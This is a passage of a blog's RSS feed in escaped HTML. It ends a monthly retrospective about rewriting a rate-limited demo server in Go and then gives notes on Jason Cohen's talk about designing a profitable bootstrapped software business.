 srcset='https://mtlynch.io/retrospectives/2023/04/zestful-demo_hu_fc4a773fb6c643f7.webp 300w, https://mtlynch.io/retrospectives/2023/04/zestful-demo_hu_14bb03fa58a5499a.webp 600w, https://mtlynch.io/retrospectives/2023/04/zestful-demo_hu_21d18ccb3694d91c.webp 800w, https://mtlynch.io/retrospectives/2023/04/zestful-demo.webp 1199w'
 src="https://mtlynch.io/retrospectives/2023/04/zestful-demo.webp" alt="Screenshot of Zestful demo page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Zestful offers a &lt;a href="https://zestfuldata.com/demo">no-friction demo&lt;/a> to allow potential customers to test the ingredient parsing functionality.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I needed the demo to limit each user to 30 parses per day. After that, they&amp;rsquo;d have to sign up for a paid plan. I decided to build a demo server with an API interface identical to the paid server, except that it limited users to 30 ingredients per day.&lt;/p>
&lt;p>At the time, I loved AppEngine and hated the idea of maintaining my own database. I wrote the demo app using Python 2.7 AppEngine and Google Cloud Datastore.&lt;/p>
&lt;p>When a request came in, the demo server would look up the user&amp;rsquo;s IP address in Google Cloud Datastore. If the IP had used up all its quota, the server would reject the request with an error telling the user to sign up for a paid plan. If the user had quota remaining, the server would pass the request through to the paid Zestful server and then deduct one unit of quota associated with the client&amp;rsquo;s IP address.&lt;/p>
&lt;p>Since 2018, I&amp;rsquo;ve &lt;a href="https://mtlynch.io/litestream/#data-persistence-for-people-who-hate-database-servers">fallen out of love with AppEngine and Google Cloud in general&lt;/a>. When I received a notice from Google telling me that they&amp;rsquo;d be turning down AppEngine for Python 2.7 in a few months, I thought it would be a fun experiment to see how much faster I could implement the service today.&lt;/p>
&lt;p>Instead of using Python, I used Go, as I find Go web apps easy to build and maintain. I started thinking about how to design the database using SQLite and Litestream until I realized that I could skip the persistent datastore entirely.&lt;/p>
&lt;p>If I keep everyone&amp;rsquo;s quota in memory, what&amp;rsquo;s the downside? Whenever I deploy a new version or restart the server, everyone&amp;rsquo;s quota will reset for the day, granting them more requests against the demo server.&lt;/p>
&lt;p>Giving each user $0.60 worth of extra quota on every restart isn&amp;rsquo;t a big deal, especially given that I planned to restart the server infrequently.&lt;/p>
&lt;p>I reimplemented the service in about six dev hours. I was impressed with myself because I remembered spending two weeks on the original. In just five years, I&amp;rsquo;d achieved a 10x speedup!&lt;/p>
&lt;p>Then, I went back and checked the commit history of the original AppEngine version and realized I actually implemented it in just one day.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Mon Apr 30 00:51:48 2018 -0400 Adding badges to README (#7)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Mon Apr 30 00:51:40 2018 -0400 Adding changes to make prod API work (#6)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Mon Apr 30 00:43:55 2018 -0400 Adding support for parser config model (#5)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sun Apr 29 23:51:03 2018 -0400 Adding deployment to Travis (#4)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sun Apr 29 23:41:42 2018 -0400 Adding rate limiter (#3)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sun Apr 29 18:18:37 2018 -0400 Adding coveralls.yml (#2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sun Apr 29 18:14:46 2018 -0400 Merge pull request #1 from mtlynch/parser-proxy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sun Apr 29 18:11:16 2018 -0400 Fixing response handler
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sun Apr 29 17:52:28 2018 -0400 Fixing HTTP handler
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sun Apr 29 17:40:02 2018 -0400 Adding in ParserProxy and tests
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sun Apr 29 11:20:11 2018 -0400 Initial commit
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Granted, from the commits, it looks like a marathon coding session where I worked from Sunday morning until 1 AM Monday, so the original probably took around 14 dev hours. That makes the speedup more like 2.3x.&lt;/p>
&lt;p>So, I&amp;rsquo;m not &lt;em>that&lt;/em> much faster than I was five years ago, but I&amp;rsquo;m proud of being able to recognize a new opportunity to simplify by skipping the database. I&amp;rsquo;m also glad that I&amp;rsquo;m continuing to learn new technologies so that I have more solutions available to me than I did in the past.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Transitioned one product to a 3PL vendor.&lt;/li>
&lt;li>Presented at &lt;a href="https://nerdsummit.org/">NERD Summit&lt;/a>.&lt;/li>
&lt;li>Found a new accountant and did most of the legwork for my 2022 tax prep.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Run a limited trial before transitioning a critical operation to a new vendor.
&lt;ul>
&lt;li>If I had tried to hand off fulfillment to a 3PL vendor in one shot, it would have been extremely messy.&lt;/li>
&lt;li>Starting with the limited trial allowed us to reject the first vendor as a poor match and smooth out rough edges with our second vendor.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Transition all products to our 3PL vendor.&lt;/li>
&lt;li>Choose a contract manufacturer to take over TinyPilot&amp;rsquo;s device assembly and begin the transition process.&lt;/li>
&lt;li>Publish a new release of TinyPilot Pro.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;p>If you or someone you can convince to talk to me has worked with contract manufacturers on a hardware product, I&amp;rsquo;d love to talk about the experience. I&amp;rsquo;m especially interested in people who have worked on an electronics product at low volumes, like 2,000-5,000 units per year.&lt;/p></content:encoded></item><item><title>Designing the Ideal Bootstrapped Business</title><link>https://mtlynch.io/notes/designing-the-ideal-bootstrapped-business/</link><pubDate>Sun, 26 Mar 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/designing-the-ideal-bootstrapped-business/</guid><description>&lt;p>Jason Cohen&amp;rsquo;s 2013 Microconf talk, &lt;a href="https://www.youtube.com/watch?v=otbnC2zE2rw">&lt;em>Designing the Ideal Bootstrapped Business with Jason Cohen&lt;/em>&lt;/a>, is one of the most valuable resources I&amp;rsquo;ve found for bootstrapped founders. I watched it for the first time &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#you-can-build-a-successful-business-without-being-available-247">in 2020&lt;/a>, and I&amp;rsquo;ve revisited it repeatedly since then.&lt;/p>
&lt;p>If you&amp;rsquo;re new to the world of bootstrapped software business, or you&amp;rsquo;re struggling to gain traction with your business, I highly recommend this talk.&lt;/p>
&lt;p>Below, I&amp;rsquo;ve included my notes.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/otbnC2zE2rw?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="Designing the Ideal Bootstrapped Business">&lt;/iframe>
 &lt;/div>

&lt;h2 id="most-businesses-don">&lt;a href="https://youtu.be/otbnC2zE2rw">Most businesses don&amp;rsquo;t work&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>Most businesses fail.
&lt;ul>
&lt;li>Most fail because they build a product that customers don&amp;rsquo;t actually want.&lt;/li>
&lt;li>Some fail because they&amp;rsquo;re building a product customers want but with a business structure that&amp;rsquo;s incompatible with bootstrapping.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="jason">&lt;a href="https://youtu.be/otbnC2zE2rw?t=46">Jason&amp;rsquo;s background&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>Jason is founder of &lt;a href="https://wpengine.com">WPEngine&lt;/a>, one of the most popular WordPress hosting vendors.&lt;/li>
&lt;li>Jason founded four companies.
&lt;ul>
&lt;li>All made over $1M/yr.&lt;/li>
&lt;li>All of them were profitable.&lt;/li>
&lt;li>Jason sold two of them.&lt;/li>
&lt;li>All were bootstrapped, although WPEngine later raised venture capital.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="a">&lt;a href="https://youtu.be/otbnC2zE2rw?t=120">A &amp;ldquo;cash machine&amp;rdquo;&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>The ideal self-funded business is a &amp;ldquo;cash machine.&amp;rdquo;
&lt;ul>
&lt;li>The business has a predictable way to make profit every month.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>20% of people in the conference audience would make $10k the following month if they invested zero work into their business.&lt;/li>
&lt;li>Goal of self-funded business: earn at least $10k/month in revenue per founder.
&lt;ul>
&lt;li>&lt;em>[&lt;strong>Ed&lt;/strong>: He says &amp;ldquo;revenue&amp;rdquo; but I suspect he means &amp;ldquo;profit&amp;rdquo;]&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="revenue-model">&lt;a href="https://youtu.be/otbnC2zE2rw?t=202">Revenue model&lt;/a>&lt;/h2>
&lt;h3 id="one-offs-never-get-easier">&lt;a href="https://youtu.be/otbnC2zE2rw?t=202">One-offs never get easier&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>One-off sales never get easier.
&lt;ul>
&lt;li>Every month, you start over with $0 in revenue.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>One-off sales are the opposite of a cash machine.&lt;/li>
&lt;li>Even when Jason Cohen&amp;rsquo;s previous company (Smart Bear, one-off sales) reached millions in revenue per month, he still worried he&amp;rsquo;d fail to meet payroll every month.
&lt;ul>
&lt;li>The stress never went away.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="recurring-revenue-the-only-way">&lt;a href="https://youtu.be/otbnC2zE2rw?t=4m21s">Recurring revenue: the only way&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>The myth of &amp;ldquo;1,000 true fans&amp;rdquo;
&lt;ul>
&lt;li>Kevin Kelly &lt;a href="https://kk.org/thetechnium/1000-true-fans/">introduced the idea&lt;/a> of 1,000 true fans&lt;/li>
&lt;li>Musicians could gain indepedence from music labels if they could convince 1,000 passionate fans to buy $100-200 in merch and concerts or other purchases that go directly to the artist.&lt;/li>
&lt;li>Seth Godin &lt;a href="https://seths.blog/2008/03/1000-true-fans/">popularized the idea&lt;/a> by sharing the blog post with a larger audience.&lt;/li>
&lt;li>Kevin Kelly got feedback from musicians that his idea wasn&amp;rsquo;t practical and walked back the idea.
&lt;ul>
&lt;li>It&amp;rsquo;s difficult to get that many fans to give you recurring revenue.&lt;/li>
&lt;li>For musicians, $100-200k/yr is not enough to cover the costs of touring.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Godin never acknowledged the retraction, so the myth persists.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Better target: 150 customers
&lt;ul>
&lt;li>You should have 20-30 customers waiting to pay you monthly before you even start building.
&lt;ul>
&lt;li>If you can&amp;rsquo;t find 20-30 in the first few months, it&amp;rsquo;s going to be hard to reach a sustainable customer base ever.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>First 50: Scratching and clawing your first customers&lt;/li>
&lt;li>Next 25: Guest postings, social media&lt;/li>
&lt;li>Next 75: Basic marketing&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="wpengine">&lt;a href="https://youtu.be/otbnC2zE2rw?t=7m10s">WPEngine&amp;rsquo;s first customers&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Jason found 40 WordPress consultants on LinkedIn.&lt;/li>
&lt;li>He said he had a new product designed to serve them.&lt;/li>
&lt;li>&lt;strong>Key&lt;/strong>: He offered to pay them to talk to him.
&lt;ul>
&lt;li>The pay was &amp;ldquo;whatever [they] thought was fair,&amp;rdquo; even if it&amp;rsquo;s higher than their normal hourly rate because it&amp;rsquo;s a one-off job.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>100% agreed to speak with him on the phone.
&lt;ul>
&lt;li>38 actually scheduled calls.&lt;/li>
&lt;li>0 asked for any money.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Takeaway&lt;/strong>: Showing that you value their time yields positive results.&lt;/li>
&lt;/ul>
&lt;h3 id="pricing">&lt;a href="https://youtu.be/otbnC2zE2rw?t=9m30s">Pricing&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>If the revenue goal is $10k/mo and the customer base is 150 customers, you need to charge each customer $66/mo, on average.
&lt;ul>
&lt;li>$10k / 150 customers = $66/customer/mo.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Most founders charge a lower rate because their service is crappy starting out.
&lt;ul>
&lt;li>Everything is barebones, support is slow because it&amp;rsquo;s just the founder.&lt;/li>
&lt;li>Founder decides to charge $19/mo because they assume their product isn&amp;rsquo;t worth a higher rate.&lt;/li>
&lt;li>Lower price means you have to find more customers, difficult to do.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Strategies
&lt;ul>
&lt;li>Price tiers
&lt;ul>
&lt;li>WPEngine had three tiers segmented by customer type: $49 / $99 / $249&lt;/li>
&lt;li>Average revenue per customer was over $100/mo.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>High prices, but lots of coupon opportunities
&lt;ul>
&lt;li>Example: Standard rate is $99/mo, but give bloggers a 30% off coupon for their readers.
&lt;ul>
&lt;li>Ends up being the $66/mo target.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="boutique-business">&lt;a href="https://youtu.be/otbnC2zE2rw?t=12m06s">Boutique business&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>What do you think when you hear the word &amp;ldquo;boutique?&amp;rdquo;
&lt;ul>
&lt;li>Small&lt;/li>
&lt;li>Not open very much because it has a small staff, usually just owners&lt;/li>
&lt;li>Expensive&lt;/li>
&lt;li>Customers receive lots of personal attention&lt;/li>
&lt;li>Work is special and unique&lt;/li>
&lt;li>Customers feel good supporting the business&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Present yourself to customers as &amp;ldquo;boutique.&amp;rdquo;
&lt;ul>
&lt;li>Customers will tolerate higher prices if they think of it as supporting an independent boutique vendor.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="cash-flow">&lt;a href="https://youtu.be/otbnC2zE2rw?t=13m20s">Cash flow&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Cash is king.&lt;/li>
&lt;li>The &amp;ldquo;annual pre-pay trick&amp;rdquo;
&lt;ul>
&lt;li>&amp;ldquo;You have to do it.&amp;rdquo; -Jason Cohen&lt;/li>
&lt;li>Example marketing scenario
&lt;ul>
&lt;li>Spending $300 on Google Ads gets you $50/mo in recurring revenue.&lt;/li>
&lt;li>Therefore, spending $60k gets you $10k/mo in recurring revenue.
&lt;ul>
&lt;li>&lt;em>[&lt;strong>Ed&lt;/strong>: I disagree with this point, as Google Ads don&amp;rsquo;t scale linearly like this. Scaling your spending from $300 to $60k means you have to bid higher for each click to capture a greater share of the results. I think a more realistic scenario is that if you scale your Google Ad spend by 20x, you&amp;rsquo;d see 10-15x the conversions.]&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You could reach your target monthly revenue right now if you had $60k in cash to spend.&lt;/li>
&lt;li>Tell customers they get two months free with an annual plan.&lt;/li>
&lt;li>You&amp;rsquo;d get $100k in cash immediately as opposed to $120k over the course of a year.&lt;/li>
&lt;li>After the $60k on Google Ads, you&amp;rsquo;d have $40k left over to spend immediately on marketing, design improvements, etc. rather than waiting to collect the recurring revenue over a year.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>WPEngine&amp;rsquo;s numbers
&lt;ul>
&lt;li>1/4 of signups pre-pay for a year.
&lt;ul>
&lt;li>75% pay 1x month&lt;/li>
&lt;li>25% pay 10x month&lt;/li>
&lt;li>0.75 x 1 + 0.25 x 10 = 3.25&lt;/li>
&lt;li>Translation: WPEngine gets 3.25x the cash flow as they would without annual pre-pay option.&lt;/li>
&lt;li>WPEngine&amp;rsquo;s cost of customer acquisition is lower than their monthly cash flow, so they effectively have an infinite marketing budget&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can combine annual pre-pay with coupons to make them more enticing.
&lt;ul>
&lt;li>Example: Coupon gives you three months free on annual plan.
&lt;ul>
&lt;li>They would have gotten two without the coupon, but three sounds more exciting.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You can adjust pricing to make pre-payment more appealing.
&lt;ul>
&lt;li>Increase monthly price, and make annual discount steeper.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="free-trials">&lt;a href="https://youtu.be/otbnC2zE2rw?t=21m07s">Free trials&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Most people who sign up with a credit card will stay.&lt;/li>
&lt;li>If they do the trial and never convert, you lose money.&lt;/li>
&lt;li>Instead, offer a 60-day money back guarantee.
&lt;ul>
&lt;li>Charge customers up front, but let them cancel easily.&lt;/li>
&lt;li>When WPEngine made this change, signups increased.
&lt;ul>
&lt;li>Customers liked the change. They said it gave them more time to evaluate the product.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="no-picking-up-pennies">&lt;a href="https://youtu.be/otbnC2zE2rw?t=23m16s">No picking up pennies&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Example: Kickstarter
&lt;ul>
&lt;li>Lots of money flowing through.&lt;/li>
&lt;li>Kickstarter &amp;ldquo;picks up pennies&amp;rdquo; by taking a small percentage.&lt;/li>
&lt;li>Kickstarter raised $100M in funds, only $6M of the revenue went to Kickstarter.&lt;/li>
&lt;li>They finished the year at a loss and had to raise more money.&lt;/li>
&lt;li>Kickstarter is one of the most successful examples of this, and they have trouble turning a profit.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cohen recommends against this model for bootstrapped businesses.
&lt;ul>
&lt;li>&amp;ldquo;Go get customers, and charge them lots of money.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="market-model">&lt;a href="https://youtu.be/otbnC2zE2rw?t=24m05s">Market model&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>What markets are conducive to a cash machine company?&lt;/li>
&lt;/ul>
&lt;h3 id="only-build-b2b-companies">&lt;a href="https://youtu.be/otbnC2zE2rw?t=24m29s">Only build B2B companies&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Never sell to consumers.
&lt;ul>
&lt;li>Cohen quoted an app store review that complained that a $1.99 app should have been priced at $0.99.
&lt;ul>
&lt;li>Consumers are too price-sensitive and demanding.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Every Microconf speaker that year had a B2B business.
&lt;ul>
&lt;li>Exception: patio11 with BingoCardCreator, but he recommends against B2C as well.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="bad-market-point-in-time--temporary-pain">&lt;a href="https://youtu.be/otbnC2zE2rw?t=26m44s">Bad Market: Point-in-time / temporary pain&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Examples
&lt;ul>
&lt;li>Weddings&lt;/li>
&lt;li>Events&lt;/li>
&lt;li>Code profilers&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You have to catch customers at the exact right time.&lt;/li>
&lt;li>For things like weddings, you&amp;rsquo;re competing with tons of companies trying to market to brides/grooms in the months leading up to a wedding.&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-naturally-recurring-market">&lt;a href="https://youtu.be/otbnC2zE2rw?t=28m25s">Good Market: Naturally recurring market&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Ongoing actual costs
&lt;ul>
&lt;li>Example: Server hosting
&lt;ul>
&lt;li>People know that servers are an ongoing cost, so they expect to pay for hosting on a recurring basis.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Financial cycles
&lt;ul>
&lt;li>Example: taxes, invoicing, compliance
&lt;ul>
&lt;li>People have to do these things regularly.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Pain naturally changes over time
&lt;ul>
&lt;li>Example: digital marketing, SEO
&lt;ul>
&lt;li>The underlying market changes, so the tools have to adapt.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Offering support
&lt;ul>
&lt;li>Example: $100/mo for a premium support queue.
&lt;ul>
&lt;li>&amp;ldquo;Free money&amp;rdquo; because you want to resolve all tickets anyway, but this just changes the order that you process tickets.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="bad-market-viralityness">&lt;a href="https://youtu.be/otbnC2zE2rw?t=31m54s">Bad Market: Viralityness&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Viral products almost never work.&lt;/li>
&lt;li>If your viral coefficient is 1% per month (pretty good), and you have 100 users, that means you only get 0 or 1 new users per month.&lt;/li>
&lt;li>Viral products only work when you have a large customer base.
&lt;ul>
&lt;li>It&amp;rsquo;s expensive to build to that critical mass.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-not-real-time">&lt;a href="https://youtu.be/otbnC2zE2rw?t=32m43s">Good Market: Not real-time&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>A non-real time business is one where it&amp;rsquo;s not a disaster if your product is down for a few hours.&lt;/li>
&lt;li>WPEngine (hosting) is a bad example, as any outage is a disaster.
&lt;ul>
&lt;li>&amp;ldquo;That was a mistake.&amp;rdquo;&lt;/li>
&lt;li>WPEngine&amp;rsquo;s support staff has to wake up in the middle of the night to fix severe issues.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Examples
&lt;ul>
&lt;li>Analytics, decision support&lt;/li>
&lt;li>Finance - Finance employees typically have a buffer around their timelines&lt;/li>
&lt;li>Project management - If Trello is down for an hour, you&amp;rsquo;re probably not going to cancel your subscription&lt;/li>
&lt;li>Content - Can be down for a few hours, but it&amp;rsquo;s also easy to make always available on a static site&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="bad-market-marketplaces">&lt;a href="https://youtu.be/otbnC2zE2rw?t=34m30s">Bad Market: Marketplaces&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Platform that matches buyers with sellers&lt;/li>
&lt;li>Examples
&lt;ul>
&lt;li>Etsy, Kickstarter, eBay&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Difficult to get off the ground
&lt;ul>
&lt;li>You have to attract sellers and offer the functionality they need.&lt;/li>
&lt;li>You have to attract buyers simultaneously.&lt;/li>
&lt;li>It&amp;rsquo;s costly to attract and support both.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You&amp;rsquo;re effectively starting two high-risk companies.
&lt;ul>
&lt;li>Both have to succeed in order for the marketplace to be sustainable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-something-that-can-be">&lt;a href="https://youtu.be/otbnC2zE2rw?t=36m07s">Good Market: Something that can be &amp;ldquo;finished&amp;rdquo;&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Examples
&lt;ul>
&lt;li>WinZIP, Freshbooks, Basecamp, hosting, time-tracking, bug-tracking, CRM, wiki, task management, email, PDF editor, image editor, web analytics&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You don&amp;rsquo;t want to get stuck in a feature war with a competitor.
&lt;ul>
&lt;li>As a bootstrapper, you&amp;rsquo;ll have fewer resources to build features, so you&amp;rsquo;re at a disadvantage.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-aftermarkets">&lt;a href="https://youtu.be/otbnC2zE2rw?t=37m12s">Good Market: Aftermarkets&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Find an established product with a significant following, and build add-ons or integrations.&lt;/li>
&lt;li>Examples
&lt;ul>
&lt;li>Smart Bear: Added code review to Perforce and Subversion&lt;/li>
&lt;li>Balsamiq: Started as add-ons to Basecamp&lt;/li>
&lt;li>WooThemes: Themes for WooCommerce&lt;/li>
&lt;li>AlienSkin: Paid plugins for Photoshop&lt;/li>
&lt;li>QODBC: Makes ODBC interface for QuickBooks, allows customers to make database queries against it&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Ecosystems
&lt;ul>
&lt;li>Some ecosystems are friendlier than others to aftermarkets
&lt;ul>
&lt;li>Apple App Store
&lt;ul>
&lt;li>Apple is semi-hostile to third-party apps.&lt;/li>
&lt;li>Apple sometimes introduces &lt;a href="https://www.howtogeek.com/297651/what-does-it-mean-when-a-company-sherlocks-an-app/">first-party apps&lt;/a> to compete with third-party vendors on their platform.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Salesforce, Heroku
&lt;ul>
&lt;li>They&amp;rsquo;re committed not to compete with aftermarket vendors.&lt;/li>
&lt;li>They limit the features they implement themselves in order to foster an ecosystem of third-party tools.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vendors are often interested in supporting aftermarket vendors.
&lt;ul>
&lt;li>Aftermarket vendors make the first party vendor&amp;rsquo;s product more valuable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="good-market-big-market">&lt;a href="https://youtu.be/otbnC2zE2rw?t=40m10s">Good Market: Big market&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>In a large market, you have many niches to inhabit.
&lt;ul>
&lt;li>There&amp;rsquo;s always a risk that your niche is too small, but in a large market, it&amp;rsquo;s easier to find adjacent niches.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Big market gives instant validation that the pain point exists and people are paying to solve it.&lt;/li>
&lt;li>Big market gives you the option to grow from a lifestyle business to a billion dollar business if you want.&lt;/li>
&lt;/ul>
&lt;h2 id="acquisition-model">&lt;a href="https://youtu.be/otbnC2zE2rw?t=42m40s">Acquisition model&lt;/a>&lt;/h2>
&lt;h3 id="ads--social-media">Ads &amp;gt; social media&lt;/h3>
&lt;ul>
&lt;li>Jason doesn&amp;rsquo;t like social media as a way of acquiring customers.&lt;/li>
&lt;li>People underestimate the cost of social media marketing and overestimate its effectiveness.&lt;/li>
&lt;li>Social media typically doesn&amp;rsquo;t yield customers who want to pay a recurring price.&lt;/li>
&lt;li>Jason Cohen&amp;rsquo;s blog had 40,000 subscribers.
&lt;ul>
&lt;li>Only two signed up when he launched WPEngine.&lt;/li>
&lt;li>Hiten Shah observed a similar effect.
&lt;ul>
&lt;li>Having a large following didn&amp;rsquo;t translate to customers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="how-much-to-pay-per-click">&lt;a href="https://youtu.be/otbnC2zE2rw?t=44m47s">How much to pay per click?&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Rule of thumb: Cost per click = Average monthly revenue per customer / 25
&lt;ul>
&lt;li>Example: $50/month in revenue, pay $2 per click ($50 / 25 = $2)&lt;/li>
&lt;li>The exact cost varies depending on your business.&lt;/li>
&lt;li>The full derivation is &lt;a href="https://blog.asmartbear.com/bootstrapped-cpc.html">on Jason&amp;rsquo;s blog&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="the-squeeze">&lt;a href="https://youtu.be/otbnC2zE2rw?t=45m40s">The squeeze&lt;/a>&lt;/h2>
&lt;ul>
&lt;li>What happens if you successfully build a cash machine?
&lt;ul>
&lt;li>Your business will keep growing.&lt;/li>
&lt;li>To sustain more customers, you need to hire more people.&lt;/li>
&lt;li>Your job shifts from marketing and development to coding.&lt;/li>
&lt;li>Do you still want to run a company like that?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Paths forward
&lt;ul>
&lt;li>Sell before it&amp;rsquo;s too big
&lt;ul>
&lt;li>You can arrange a sale with an earnout if the new owner doesn&amp;rsquo;t have cash up front.
&lt;ul>
&lt;li>e.g., $20-30k/month for three years&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Sell to partners&lt;/li>
&lt;li>Sell to your biggest customer&lt;/li>
&lt;li>Raise prices&lt;/li>
&lt;li>Raise venture funding to grow even more
&lt;ul>
&lt;li>If you&amp;rsquo;re willing to do venture capital, you should start with it rather than a slower start with bootstrapping&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="how-to-decide-what-to-do-next">&lt;a href="https://youtu.be/otbnC2zE2rw?t=50m49s">How to decide what to do next&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Thales_of_Miletus">Thales&lt;/a> was Greek businessman-turned-philosopher.
&lt;ul>
